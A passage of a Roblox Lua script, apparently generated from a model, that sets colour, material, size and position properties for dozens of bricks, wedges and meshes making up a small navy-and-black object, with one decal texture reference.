Part4.Color = Color3.new(0, 0.12549, 0.376471)
Part4.Position = Vector3.new(84.7160492, 2.46017599, 69.6111679)
Part4.Orientation = Vector3.new(0, 90, 0)
Part4.Color = Color3.new(0, 0.12549, 0.376471)
BlockMesh5.Parent = Part4
Part6.Name = "Brick"
Part6.Parent = Model1
Part6.Material = Enum.Material.SmoothPlastic
Part6.BrickColor = BrickColor.new("Black")
Part6.Reflectance = 0.0049999998882413
Part6.Rotation = Vector3.new(79.2300034, 0, 0)
Part6.Anchored = true
Part6.CanCollide = false
Part6.FormFactor = Enum.FormFactor.Symmetric
Part6.Size = Vector3.new(1.10684443, 0.201244384, 0.806359112)
Part6.CFrame = CFrame.new(84.713829, 4.26771784, 69.8875198, 1, -3.8433216e-13, 2.83340517e-12, -2.84009643e-12, 0.186832219, -0.982391834, 1.86642856e-13, 0.982391834, 0.186832219)
Part6.BottomSurface = Enum.SurfaceType.Smooth
Part6.TopSurface = Enum.SurfaceType.Smooth
Part6.Color = Color3.new(0.105882, 0.164706, 0.207843)
Part6.Position = Vector3.new(84.713829, 4.26771784, 69.8875198)
Part6.Orientation = Vector3.new(79.2300034, 0, 0)
Part6.Color = Color3.new(0.105882, 0.164706, 0.207843)
BlockMesh7.Parent = Part6
Part8.Name = "Brick"
Part8.Parent = Model1
Part8.Material = Enum.Material.SmoothPlastic
Part8.BrickColor = BrickColor.new("Black")
Part8.Reflectance = 0.0049999998882413
Part8.Rotation = Vector3.new(79.2300034, 0, 0)
Part8.Anchored = true
Part8.CanCollide = false
Part8.FormFactor = Enum.FormFactor.Symmetric
Part8.Size = Vector3.new(0.201244384, 1.03670979, 0.806359112)
Part8.CFrame = CFrame.new(85.166626, 4.1874733, 69.4766769, 1, -3.8433216e-13, 2.83340517e-12, -2.84009643e-12, 0.186832219, -0.982391834, 1.86642856e-13, 0.982391834, 0.186832219)
Part8.BottomSurface = Enum.SurfaceType.Smooth
Part8.TopSurface = Enum.SurfaceType.Smooth
Part8.Color = Color3.new(0.105882, 0.164706, 0.207843)
Part8.Position = Vector3.new(85.166626, 4.1874733, 69.4766769)
Part8.Orientation = Vector3.new(79.2300034, 0, 0)
Part8.Color = Color3.new(0.105882, 0.164706, 0.207843)
BlockMesh9.Parent = Part8
Part10.Name = "Brick"
Part10.Parent = Model1
Part10.Material = Enum.Material.SmoothPlastic
Part10.BrickColor = BrickColor.new("Black")
Part10.Reflectance = 0.0049999998882413
Part10.Rotation = Vector3.new(88.4300003, 0, 0)
Part10.Anchored = true
Part10.CanCollide = false
Part10.FormFactor = Enum.FormFactor.Symmetric
Part10.Size = Vector3.new(0.201244384, 0.212827399, 1.0574975)
Part10.CFrame = CFrame.new(85.166626, 4.22347689, 68.9344482, 1, 1.08608943e-13, 2.84414961e-12, -2.84009643e-12, 0.027451029, -0.99962306, 1.86642856e-13, 0.99962306, 0.027451029)
Part10.BottomSurface = Enum.SurfaceType.Smooth
Part10.TopSurface = Enum.SurfaceType.Smooth
Part10.Color = Color3.new(0.105882, 0.164706, 0.207843)
Part10.Position = Vector3.new(85.166626, 4.22347689, 68.9344482)
Part10.Orientation = Vector3.new(88.4300003, 0, 0)
Part10.Color = Color3.new(0.105882, 0.164706, 0.207843)
BlockMesh11.Parent = Part10
WedgePart12.Parent = Model1
WedgePart12.Material = Enum.Material.SmoothPlastic
WedgePart12.BrickColor = BrickColor.new("Black")
WedgePart12.Reflectance = 0.0049999998882413
WedgePart12.Rotation = Vector3.new(13.4300003, 0, 90)
WedgePart12.Anchored = true
WedgePart12.CanCollide = false
WedgePart12.FormFactor = Enum.FormFactor.Symmetric
WedgePart12.Size = Vector3.new(0.201244384, 0.201244384, 0.628686726)
WedgePart12.CFrame = CFrame.new(84.2616959, 4.99800968, 68.1583786, 5.42964393e-08, -0.999996722, -1.74445791e-10, 0.972667515, 4.60768099e-08, -0.232180193, 0.232180342, -1.65836891e-08, 0.972667634)
WedgePart12.BottomSurface = Enum.SurfaceType.Smooth
WedgePart12.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart12.Position = Vector3.new(84.2616959, 4.99800968, 68.1583786)
WedgePart12.Orientation = Vector3.new(13.4300003, 0, 90)
WedgePart12.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart13.Parent = Model1
WedgePart13.Material = Enum.Material.SmoothPlastic
WedgePart13.BrickColor = BrickColor.new("Black")
WedgePart13.Reflectance = 0.0049999998882413
WedgePart13.Rotation = Vector3.new(13.4300003, 0, -90)
WedgePart13.Anchored = true
WedgePart13.CanCollide = false
WedgePart13.FormFactor = Enum.FormFactor.Symmetric
WedgePart13.Size = Vector3.new(0.201244384, 0.352177709, 0.729308963)
WedgePart13.CFrame = CFrame.new(84.8906479, 5.15557432, 67.4995956, 1.11450326e-07, 0.999996722, -9.83475843e-07, -0.972667575, -1.19211848e-07, -0.232179835, -0.232180044, 9.53674544e-07, 0.972667694)
WedgePart13.BottomSurface = Enum.SurfaceType.Smooth
WedgePart13.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart13.Position = Vector3.new(84.8906479, 5.15557432, 67.4995956)
WedgePart13.Orientation = Vector3.new(13.4300003, 0, -90)
WedgePart13.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart14.Parent = Model1
WedgePart14.Material = Enum.Material.SmoothPlastic
WedgePart14.BrickColor = BrickColor.new("Black")
WedgePart14.Reflectance = 0.0049999998882413
WedgePart14.Rotation = Vector3.new(13.4300003, 0, -180)
WedgePart14.Anchored = true
WedgePart14.CanCollide = false
WedgePart14.Size = Vector3.new(0.201244384, 0.224141195, 0.517623842)
WedgePart14.CFrame = CFrame.new(84.2610245, 4.65805483, 68.6664963, -0.99999994, 1.67656744e-05, 7.46475916e-06, -1.80406896e-05, -0.972671866, -0.232184008, 3.36804032e-06, -0.232183963, 0.972671926)
WedgePart14.BottomSurface = Enum.SurfaceType.Smooth
WedgePart14.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart14.Position = Vector3.new(84.2610245, 4.65805483, 68.6664963)
WedgePart14.Orientation = Vector3.new(13.4300003, 0, -180)
WedgePart14.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart15.Parent = Model1
WedgePart15.Material = Enum.Material.SmoothPlastic
WedgePart15.BrickColor = BrickColor.new("Black")
WedgePart15.Reflectance = 0.0049999998882413
WedgePart15.Rotation = Vector3.new(-166.570007, 0, 0)
WedgePart15.Anchored = true
WedgePart15.CanCollide = false
WedgePart15.Size = Vector3.new(0.201244384, 0.226340756, 0.503780782)
WedgePart15.CFrame = CFrame.new(85.166626, 4.53830528, 69.1634369, 1, -1.67652124e-05, 7.60012563e-06, -1.80716834e-05, -0.972671926, 0.232184038, 3.49981519e-06, -0.232184038, -0.972671926)
WedgePart15.BottomSurface = Enum.SurfaceType.Smooth
WedgePart15.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart15.Position = Vector3.new(85.166626, 4.53830528, 69.1634369)
WedgePart15.Orientation = Vector3.new(-13.4300003, 180, -180)
WedgePart15.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart16.Parent = Model1
WedgePart16.Material = Enum.Material.SmoothPlastic
WedgePart16.BrickColor = BrickColor.new("Black")
WedgePart16.Reflectance = 0.0049999998882413
WedgePart16.Rotation = Vector3.new(13.4300003, 0, 90)
WedgePart16.Anchored = true
WedgePart16.CanCollide = false
WedgePart16.FormFactor = Enum.FormFactor.Symmetric
WedgePart16.Size = Vector3.new(0.201244384, 0.352177709, 0.729308963)
WedgePart16.CFrame = CFrame.new(84.5387802, 5.15557432, 67.4995956, 1.1144477e-07, -0.999996722, 9.83477548e-07, 0.972667575, -1.19206263e-07, -0.232179835, 0.232180044, 9.53674146e-07, 0.972667694)
WedgePart16.BottomSurface = Enum.SurfaceType.Smooth
WedgePart16.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart16.Position = Vector3.new(84.5387802, 5.15557432, 67.4995956)
WedgePart16.Orientation = Vector3.new(13.4300003, 0, 90)
WedgePart16.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart17.Parent = Model1
WedgePart17.Material = Enum.Material.SmoothPlastic
WedgePart17.BrickColor = BrickColor.new("Black")
WedgePart17.Reflectance = 0.0049999998882413
WedgePart17.Rotation = Vector3.new(-166.570007, 0, 0)
WedgePart17.Anchored = true
WedgePart17.CanCollide = false
WedgePart17.Size = Vector3.new(0.201244384, 0.224141195, 0.498885751)
WedgePart17.CFrame = CFrame.new(84.2610321, 4.54004574, 69.1608963, 0.99999994, 1.67656744e-05, -7.4647578e-06, 1.80406896e-05, -0.972671866, 0.232183889, -3.36804032e-06, -0.232183903, -0.972671926)
WedgePart17.BottomSurface = Enum.SurfaceType.Smooth
WedgePart17.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart17.Position = Vector3.new(84.2610321, 4.54004574, 69.1608963)
WedgePart17.Orientation = Vector3.new(-13.4300003, -180, 180)
WedgePart17.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart18.Parent = Model1
WedgePart18.Material = Enum.Material.SmoothPlastic
WedgePart18.BrickColor = BrickColor.new("Black")
WedgePart18.Reflectance = 0.0049999998882413
WedgePart18.Rotation = Vector3.new(13.4300003, 0, -90)
WedgePart18.Anchored = true
WedgePart18.CanCollide = false
WedgePart18.FormFactor = Enum.FormFactor.Symmetric
WedgePart18.Size = Vector3.new(0.201244384, 0.201244384, 0.628686726)
WedgePart18.CFrame = CFrame.new(85.1665039, 4.99800968, 68.1583786, 5.43020029e-08, 0.999996722, 1.76164416e-10, -0.972667515, 4.60712499e-08, -0.232180193, -0.232180342, -1.65833196e-08, 0.972667634)
WedgePart18.BottomSurface = Enum.SurfaceType.Smooth
WedgePart18.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart18.Position = Vector3.new(85.1665039, 4.99800968, 68.1583786)
WedgePart18.Orientation = Vector3.new(13.4300003, 0, -90)
WedgePart18.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart19.Parent = Model1
WedgePart19.Material = Enum.Material.SmoothPlastic
WedgePart19.BrickColor = BrickColor.new("Black")
WedgePart19.Reflectance = 0.0049999998882413
WedgePart19.Rotation = Vector3.new(13.4300003, 0, 180)
WedgePart19.Anchored = true
WedgePart19.CanCollide = false
WedgePart19.Size = Vector3.new(0.201244384, 0.226340756, 0.518070102)
WedgePart19.CFrame = CFrame.new(85.166626, 4.6569376, 68.6664658, -1, -1.67652124e-05, -7.60012745e-06, 1.80716834e-05, -0.972671986, -0.232184127, -3.49981519e-06, -0.232184127, 0.972671986)
WedgePart19.BottomSurface = Enum.SurfaceType.Smooth
WedgePart19.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart19.Position = Vector3.new(85.166626, 4.6569376, 68.6664658)
WedgePart19.Orientation = Vector3.new(13.4300003, 0, 180)
WedgePart19.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart20.Parent = Model1
WedgePart20.Material = Enum.Material.SmoothPlastic
WedgePart20.BrickColor = BrickColor.new("Navy blue")
WedgePart20.Reflectance = 0.0049999998882413
WedgePart20.Rotation = Vector3.new(13.4300003, 0, 180)
WedgePart20.Anchored = true
WedgePart20.CanCollide = false
WedgePart20.Size = Vector3.new(0.220499977, 0.247997627, 0.567640364)
WedgePart20.CFrame = CFrame.new(85.2099533, 4.84621525, 68.6509476, -1, -1.67652124e-05, -7.60012745e-06, 1.80716834e-05, -0.972671986, -0.232184127, -3.49981519e-06, -0.232184127, 0.972671986)
WedgePart20.BottomSurface = Enum.SurfaceType.Smooth
WedgePart20.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart20.Position = Vector3.new(85.2099533, 4.84621525, 68.6509476)
WedgePart20.Orientation = Vector3.new(13.4300003, 0, 180)
WedgePart20.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart21.Parent = Model1
WedgePart21.Material = Enum.Material.SmoothPlastic
WedgePart21.BrickColor = BrickColor.new("Navy blue")
WedgePart21.Reflectance = 0.0049999998882413
WedgePart21.Rotation = Vector3.new(-166.570007, 0, 0)
WedgePart21.Anchored = true
WedgePart21.CanCollide = false
WedgePart21.Size = Vector3.new(0.220499977, 0.245587617, 0.546620429)
WedgePart21.CFrame = CFrame.new(84.2177048, 4.7181406, 69.1926804, 0.99999994, 1.67656744e-05, -7.4647578e-06, 1.80406896e-05, -0.972671866, 0.232183889, -3.36804032e-06, -0.232183903, -0.972671926)
WedgePart21.BottomSurface = Enum.SurfaceType.Smooth
WedgePart21.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart21.Position = Vector3.new(84.2177048, 4.7181406, 69.1926804)
WedgePart21.Orientation = Vector3.new(-13.4300003, -180, 180)
WedgePart21.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart22.Parent = Model1
WedgePart22.Material = Enum.Material.SmoothPlastic
WedgePart22.BrickColor = BrickColor.new("Navy blue")
WedgePart22.Reflectance = 0.0049999998882413
WedgePart22.Rotation = Vector3.new(13.4300003, 0, 90)
WedgePart22.Anchored = true
WedgePart22.CanCollide = false
WedgePart22.FormFactor = Enum.FormFactor.Symmetric
WedgePart22.Size = Vector3.new(0.220499977, 0.220499977, 0.688841164)
WedgePart22.CFrame = CFrame.new(84.2184372, 5.2199173, 68.0942612, 5.42964393e-08, -0.999996722, -1.74445791e-10, 0.972667515, 4.60768099e-08, -0.232180193, 0.232180342, -1.65836891e-08, 0.972667634)
WedgePart22.BottomSurface = Enum.SurfaceType.Smooth
WedgePart22.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart22.Position = Vector3.new(84.2184372, 5.2199173, 68.0942612)
WedgePart22.Orientation = Vector3.new(13.4300003, 0, 90)
WedgePart22.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart23.Parent = Model1
WedgePart23.Material = Enum.Material.SmoothPlastic
WedgePart23.BrickColor = BrickColor.new("Navy blue")
WedgePart23.Reflectance = 0.0049999998882413
WedgePart23.Rotation = Vector3.new(13.4300003, 0, -90)
WedgePart23.Anchored = true
WedgePart23.CanCollide = false
WedgePart23.FormFactor = Enum.FormFactor.Symmetric
WedgePart23.Size = Vector3.new(0.220499977, 0.220499977, 0.688841164)
WedgePart23.CFrame = CFrame.new(85.2098083, 5.2199173, 68.0942612, 5.43020029e-08, 0.999996722, 1.76164416e-10, -0.972667515, 4.60712499e-08, -0.232180193, -0.232180342, -1.65833196e-08, 0.972667634)
WedgePart23.BottomSurface = Enum.SurfaceType.Smooth
WedgePart23.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart23.Position = Vector3.new(85.2098083, 5.2199173, 68.0942612)
WedgePart23.Orientation = Vector3.new(13.4300003, 0, -90)
WedgePart23.Color = Color3.new(0, 0.12549, 0.376471)
Part24.Name = "Brick"
Part24.Parent = Model1
Part24.Material = Enum.Material.SmoothPlastic
Part24.BrickColor = BrickColor.new("Medium blue")
Part24.Rotation = Vector3.new(0, 90, 0)
Part24.Anchored = true
Part24.CanCollide = false
Part24.FormFactor = Enum.FormFactor.Symmetric
Part24.Size = Vector3.new(1.23828077, 0.200000003, 1.23717237)
Part24.CFrame = CFrame.new(84.7160416, 2.58101511, 69.6111679, -1.74450037e-07, -1.85120143e-06, 1, -4.62681055e-06, 0.99999994, 1.85119507e-06, -0.99999994, -4.62681055e-06, -1.74458165e-07)
Part24.BottomSurface = Enum.SurfaceType.Smooth
Part24.TopSurface = Enum.SurfaceType.Smooth
Part24.Color = Color3.new(0.431373, 0.6, 0.792157)
Part24.Position = Vector3.new(84.7160416, 2.58101511, 69.6111679)
Part24.Orientation = Vector3.new(0, 90, 0)
Part24.Color = Color3.new(0.431373, 0.6, 0.792157)
BlockMesh25.Parent = Part24
Part26.Name = "Brick"
Part26.Parent = Model1
Part26.Material = Enum.Material.SmoothPlastic
Part26.BrickColor = BrickColor.new("Really black")
Part26.Rotation = Vector3.new(0, 90, 0)
Part26.Anchored = true
Part26.CanCollide = false
Part26.FormFactor = Enum.FormFactor.Symmetric
Part26.Size = Vector3.new(1.09828091, 1.83832359, 1.0971725)
Part26.CFrame = CFrame.new(84.7160492, 3.10478282, 69.611145, -1.74450037e-07, -1.85120143e-06, 1, -4.62681055e-06, 0.99999994, 1.85119507e-06, -0.99999994, -4.62681055e-06, -1.74458165e-07)
Part26.BottomSurface = Enum.SurfaceType.Smooth
Part26.TopSurface = Enum.SurfaceType.Smooth
Part26.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part26.Position = Vector3.new(84.7160492, 3.10478282, 69.611145)
Part26.Orientation = Vector3.new(0, 90, 0)
Part26.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
BlockMesh27.Parent = Part26
Part28.Name = "Brick"
Part28.Parent = Model1
Part28.Material = Enum.Material.SmoothPlastic
Part28.BrickColor = BrickColor.new("Medium blue")
Part28.Rotation = Vector3.new(0, 90, 0)
Part28.Anchored = true
Part28.CanCollide = false
Part28.FormFactor = Enum.FormFactor.Symmetric
Part28.Size = Vector3.new(1.23828077, 0.200000003, 1.23717237)
Part28.CFrame = CFrame.new(84.7160492, 2.31716251, 69.6111603, -1.74450037e-07, -1.85120143e-06, 1, -4.62681055e-06, 0.99999994, 1.85119507e-06, -0.99999994, -4.62681055e-06, -1.74458165e-07)
Part28.BottomSurface = Enum.SurfaceType.Smooth
Part28.TopSurface = Enum.SurfaceType.Smooth
Part28.Color = Color3.new(0.431373, 0.6, 0.792157)
Part28.Position = Vector3.new(84.7160492, 2.31716251, 69.6111603)
Part28.Orientation = Vector3.new(0, 90, 0)
Part28.Color = Color3.new(0.431373, 0.6, 0.792157)
BlockMesh29.Parent = Part28
Part30.Name = "Brick"
Part30.Parent = Model1
Part30.Material = Enum.Material.SmoothPlastic
Part30.BrickColor = BrickColor.new("Black")
Part30.Reflectance = 0.0049999998882413
Part30.Rotation = Vector3.new(88.4300003, 0, 0)
Part30.Anchored = true
Part30.CanCollide = false
Part30.FormFactor = Enum.FormFactor.Symmetric
Part30.Size = Vector3.new(0.924965441, 0.201244384, 1.06169295)
Part30.CFrame = CFrame.new(84.6228867, 4.22645569, 68.9277115, 1, 1.08608943e-13, 2.84414961e-12, -2.84009643e-12, 0.027451029, -0.99962306, 1.86642856e-13, 0.99962306, 0.027451029)
Part30.BottomSurface = Enum.SurfaceType.Smooth
Part30.TopSurface = Enum.SurfaceType.Smooth
Part30.Color = Color3.new(0.105882, 0.164706, 0.207843)
Part30.Position = Vector3.new(84.6228867, 4.22645569, 68.9277115)
Part30.Orientation = Vector3.new(88.4300003, 0, 0)
Part30.Color = Color3.new(0.105882, 0.164706, 0.207843)
BlockMesh31.Parent = Part30
Part32.Name = "Brick"
Part32.Parent = Model1
Part32.Material = Enum.Material.SmoothPlastic
Part32.BrickColor = BrickColor.new("Black")
Part32.Reflectance = 0.0049999998882413
Part32.Rotation = Vector3.new(79.2300034, 0, 0)
Part32.Anchored = true
Part32.CanCollide = false
Part32.FormFactor = Enum.FormFactor.Symmetric
Part32.Size = Vector3.new(0.201244384, 1.03670979, 0.806359112)
Part32.CFrame = CFrame.new(84.2610245, 4.18971729, 69.4767838, 1, -3.8433216e-13, 2.83340517e-12, -2.84009643e-12, 0.186832219, -0.982391834, 1.86642856e-13, 0.982391834, 0.186832219)
Part32.BottomSurface = Enum.SurfaceType.Smooth
Part32.TopSurface = Enum.SurfaceType.Smooth
Part32.Color = Color3.new(0.105882, 0.164706, 0.207843)
Part32.Position = Vector3.new(84.2610245, 4.18971729, 69.4767838)
Part32.Orientation = Vector3.new(79.2300034, 0, 0)
Part32.Color = Color3.new(0.105882, 0.164706, 0.207843)
BlockMesh33.Parent = Part32
Part34.Name = "Brick"
Part34.Parent = Model1
Part34.Material = Enum.Material.SmoothPlastic
Part34.BrickColor = BrickColor.new("Navy blue")
Part34.Reflectance = 0.0049999998882413
Part34.Rotation = Vector3.new(79.2300034, 0, 0)
Part34.Anchored = true
Part34.CanCollide = false
Part34.FormFactor = Enum.FormFactor.Symmetric
Part34.Size = Vector3.new(0.220499977, 1.13590491, 0.883513689)
Part34.CFrame = CFrame.new(84.2177048, 4.3342948, 69.5388107, 1, -3.8433216e-13, 2.83340517e-12, -2.84009643e-12, 0.186832219, -0.982391834, 1.86642856e-13, 0.982391834, 0.186832219)
Part34.BottomSurface = Enum.SurfaceType.Smooth
Part34.TopSurface = Enum.SurfaceType.Smooth
Part34.Color = Color3.new(0, 0.12549, 0.376471)
Part34.Position = Vector3.new(84.2177048, 4.3342948, 69.5388107)
Part34.Orientation = Vector3.new(79.2300034, 0, 0)
Part34.Color = Color3.new(0, 0.12549, 0.376471)
BlockMesh35.Parent = Part34
Part36.Name = "Brick"
Part36.Parent = Model1
Part36.Material = Enum.Material.SmoothPlastic
Part36.BrickColor = BrickColor.new("Navy blue")
Part36.Reflectance = 0.0049999998882413
Part36.Rotation = Vector3.new(79.2300034, 0, 0)
Part36.Anchored = true
Part36.CanCollide = false
Part36.FormFactor = Enum.FormFactor.Symmetric
Part36.Size = Vector3.new(0.220499977, 1.13590491, 0.883513689)
Part36.CFrame = CFrame.new(85.2099533, 4.33183575, 69.5387192, 1, -3.8433216e-13, 2.83340517e-12, -2.84009643e-12, 0.186832219, -0.982391834, 1.86642856e-13, 0.982391834, 0.186832219)
Part36.BottomSurface = Enum.SurfaceType.Smooth
Part36.TopSurface = Enum.SurfaceType.Smooth
Part36.Color = Color3.new(0, 0.12549, 0.376471)
Part36.Position = Vector3.new(85.2099533, 4.33183575, 69.5387192)
Part36.Orientation = Vector3.new(79.2300034, 0, 0)
Part36.Color = Color3.new(0, 0.12549, 0.376471)
BlockMesh37.Parent = Part36
Part38.Name = "Brick"
Part38.Parent = Model1
Part38.Material = Enum.Material.SmoothPlastic
Part38.BrickColor = BrickColor.new("Navy blue")
Part38.Reflectance = 0.0049999998882413
Part38.Rotation = Vector3.new(103.43, 0, 0)
Part38.Anchored = true
Part38.CanCollide = false
Part38.FormFactor = Enum.FormFactor.Symmetric
Part38.Size = Vector3.new(1.21275008, 1.59979963, 0.220499977)
Part38.CFrame = CFrame.new(84.713829, 4.95423746, 69.2073441, 1, 8.59323843e-13, 2.78033499e-12, -2.84009643e-12, -0.232184067, -0.972671926, 1.86642856e-13, 0.972671926, -0.232184067)
Part38.BottomSurface = Enum.SurfaceType.Smooth
Part38.TopSurface = Enum.SurfaceType.Smooth
Part38.Color = Color3.new(0, 0.12549, 0.376471)
Part38.Position = Vector3.new(84.713829, 4.95423746, 69.2073441)
Part38.Orientation = Vector3.new(76.5699997, 180, -180)
Part38.Color = Color3.new(0, 0.12549, 0.376471)
BlockMesh39.Parent = Part38
Part40.Name = "Brick"
Part40.Parent = Model1
Part40.Material = Enum.Material.SmoothPlastic
Part40.BrickColor = BrickColor.new("Navy blue")
Part40.Reflectance = 0.0049999998882413
Part40.Rotation = Vector3.new(79.2300034, 0, 0)
Part40.Anchored = true
Part40.CanCollide = false
Part40.FormFactor = Enum.FormFactor.Symmetric
Part40.Size = Vector3.new(1.21275008, 0.220499977, 0.883513689)
Part40.CFrame = CFrame.new(84.713829, 4.41975594, 69.9888382, 1, -3.8433216e-13, 2.83340517e-12, -2.84009643e-12, 0.186832219, -0.982391834, 1.86642856e-13, 0.982391834, 0.186832219)
Part40.BottomSurface = Enum.SurfaceType.Smooth
Part40.TopSurface = Enum.SurfaceType.Smooth
Part40.Color = Color3.new(0, 0.12549, 0.376471)
Part40.Position = Vector3.new(84.713829, 4.41975594, 69.9888382)
Part40.Orientation = Vector3.new(79.2300034, 0, 0)
Part40.Color = Color3.new(0, 0.12549, 0.376471)
BlockMesh41.Parent = Part40
Part42.Name = "Brick"
Part42.Parent = Model1
Part42.Material = Enum.Material.SmoothPlastic
Part42.BrickColor = BrickColor.new("Navy blue")
Part42.Reflectance = 0.0049999998882413
Part42.Rotation = Vector3.new(88.4300003, 0, 0)
Part42.Anchored = true
Part42.CanCollide = false
Part42.FormFactor = Enum.FormFactor.Symmetric
Part42.Size = Vector3.new(1.0134685, 0.220499977, 1.16327846)
Part42.CFrame = CFrame.new(84.6141891, 4.37454987, 68.9372253, 1, 1.08608943e-13, 2.84414961e-12, -2.84009643e-12, 0.027451029, -0.99962306, 1.86642856e-13, 0.99962306, 0.027451029)
Part42.BottomSurface = Enum.SurfaceType.Smooth
Part42.TopSurface = Enum.SurfaceType.Smooth
Part42.Color = Color3.new(0, 0.12549, 0.376471)
Part42.Position = Vector3.new(84.6141891, 4.37454987, 68.9372253)
Part42.Orientation = Vector3.new(88.4300003, 0, 0)
Part42.Color = Color3.new(0, 0.12549, 0.376471)
BlockMesh43.Parent = Part42
Part44.Name = "Brick"
Part44.Parent = Model1
Part44.Material = Enum.Material.SmoothPlastic
Part44.BrickColor = BrickColor.new("Navy blue")
Part44.Reflectance = 0.0049999998882413
Part44.Rotation = Vector3.new(88.4300003, 0, 0)
Part44.Anchored = true
Part44.CanCollide = false
Part44.FormFactor = Enum.FormFactor.Symmetric
Part44.Size = Vector3.new(0.220499977, 0.233191282, 1.15868151)
Part44.CFrame = CFrame.new(85.2099533, 4.37127972, 68.9445953, 1, 1.08608943e-13, 2.84414961e-12, -2.84009643e-12, 0.027451029, -0.99962306, 1.86642856e-13, 0.99962306, 0.027451029)
Part44.BottomSurface = Enum.SurfaceType.Smooth
Part44.TopSurface = Enum.SurfaceType.Smooth
Part44.Color = Color3.new(0, 0.12549, 0.376471)
Part44.Position = Vector3.new(85.2099533, 4.37127972, 68.9445953)
Part44.Orientation = Vector3.new(88.4300003, 0, 0)
Part44.Color = Color3.new(0, 0.12549, 0.376471)
BlockMesh45.Parent = Part44
Part46.Name = "Brick"
Part46.Parent = Model1
Part46.Material = Enum.Material.SmoothPlastic
Part46.BrickColor = BrickColor.new("Black")
Part46.Reflectance = 0.0049999998882413
Part46.Rotation = Vector3.new(103.43, 0, 0)
Part46.Anchored = true
Part46.CanCollide = false
Part46.FormFactor = Enum.FormFactor.Symmetric
Part46.Size = Vector3.new(1.10684443, 1.46009409, 0.201244384)
Part46.CFrame = CFrame.new(84.713829, 4.75552416, 69.1742554, 1, 8.59323843e-13, 2.78033499e-12, -2.84009643e-12, -0.232184067, -0.972671926, 1.86642856e-13, 0.972671926, -0.232184067)
Part46.BottomSurface = Enum.SurfaceType.Smooth
Part46.TopSurface = Enum.SurfaceType.Smooth
Part46.Color = Color3.new(0.105882, 0.164706, 0.207843)
Part46.Position = Vector3.new(84.713829, 4.75552416, 69.1742554)
Part46.Orientation = Vector3.new(76.5699997, 180, -180)
Part46.Color = Color3.new(0.105882, 0.164706, 0.207843)
BlockMesh47.Parent = Part46
Part48.Parent = Model1
Part48.Transparency = 1
Part48.Rotation = Vector3.new(103.43, 0, 0)
Part48.Anchored = true
Part48.CanCollide = false
Part48.FormFactor = Enum.FormFactor.Symmetric
Part48.Size = Vector3.new(1.15937805, 1.40214789, 0.200000048)
Part48.CFrame = CFrame.new(84.7078781, 4.9594717, 69.2473831, 1, -2.23584706e-08, 2.78033477e-12, -5.19422949e-09, -0.232183963, -0.972671866, 2.17484519e-08, 0.972671866, -0.232183963)
Part48.Position = Vector3.new(84.7078781, 4.9594717, 69.2473831)
Part48.Orientation = Vector3.new(76.5699997, 180, -180)
Decal49.Parent = Part48
Decal49.Texture = "http://www.roblox.com/asset/?id=590273972"
Part50.Parent = Model1
Part50.Material = Enum.Material.SmoothPlastic
Part50.BrickColor = BrickColor.new("Navy blue")
Part50.Reflectance = 0.0049999998882413
Part50.Rotation = Vector3.new(13.4300003, 0, -180)
Part50.Anchored = true
Part50.CanCollide = false
Part50.Size = Vector3.new(0.770880163, 0.220499977, 0.688839018)
Part50.CFrame = CFrame.new(84.7141266, 5.2199173, 68.0942612, -0.99999994, 2.78033629e-12, 8.30897634e-13, 2.84009621e-12, -0.972672582, -0.232180983, -1.86642843e-13, -0.232181013, 0.972672522)
Part50.BottomSurface = Enum.SurfaceType.Smooth
Part50.TopSurface = Enum.SurfaceType.Smooth
Part50.Color = Color3.new(0, 0.12549, 0.376471)
Part50.Position = Vector3.new(84.7141266, 5.2199173, 68.0942612)
Part50.Orientation = Vector3.new(13.4300003, 0, 180)
Part50.Color = Color3.new(0, 0.12549, 0.376471)
Part51.Parent = Model1
Part51.Material = Enum.Material.SmoothPlastic
Part51.BrickColor = BrickColor.new("Black")
Part51.Reflectance = 0.0049999998882413
Part51.Rotation = Vector3.new(13.4300003, 0, -180)
Part51.Anchored = true
Part51.CanCollide = false
Part51.Size = Vector3.new(0.703561604, 0.201244384, 0.628684759)
Part51.CFrame = CFrame.new(84.7140961, 4.99800968, 68.1583786, -0.99999994, 2.78033629e-12, 8.30897634e-13, 2.84009621e-12, -0.972672582, -0.232180983, -1.86642843e-13, -0.232181013, 0.972672522)
Part51.BottomSurface = Enum.SurfaceType.Smooth
Part51.TopSurface = Enum.SurfaceType.Smooth
Part51.Color = Color3.new(0.105882, 0.164706, 0.207843)
Part51.Position = Vector3.new(84.7140961, 4.99800968, 68.1583786)
Part51.Orientation = Vector3.new(13.4300003, 0, 180)
Part51.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart52.Parent = Model1
WedgePart52.Material = Enum.Material.SmoothPlastic
WedgePart52.BrickColor = BrickColor.new("Navy blue")
WedgePart52.Reflectance = 0.0049999998882413
WedgePart52.Rotation = Vector3.new(-166.570007, 0, 0)
WedgePart52.Anchored = true
WedgePart52.CanCollide = false
WedgePart52.Size = Vector3.new(0.220499977, 0.247997627, 0.551983833)
WedgePart52.CFrame = CFrame.new(85.2099533, 4.71623325, 69.1954803, 1, -1.67652124e-05, 7.60012563e-06, -1.80716834e-05, -0.972671926, 0.232184038, 3.49981519e-06, -0.232184038, -0.972671926)
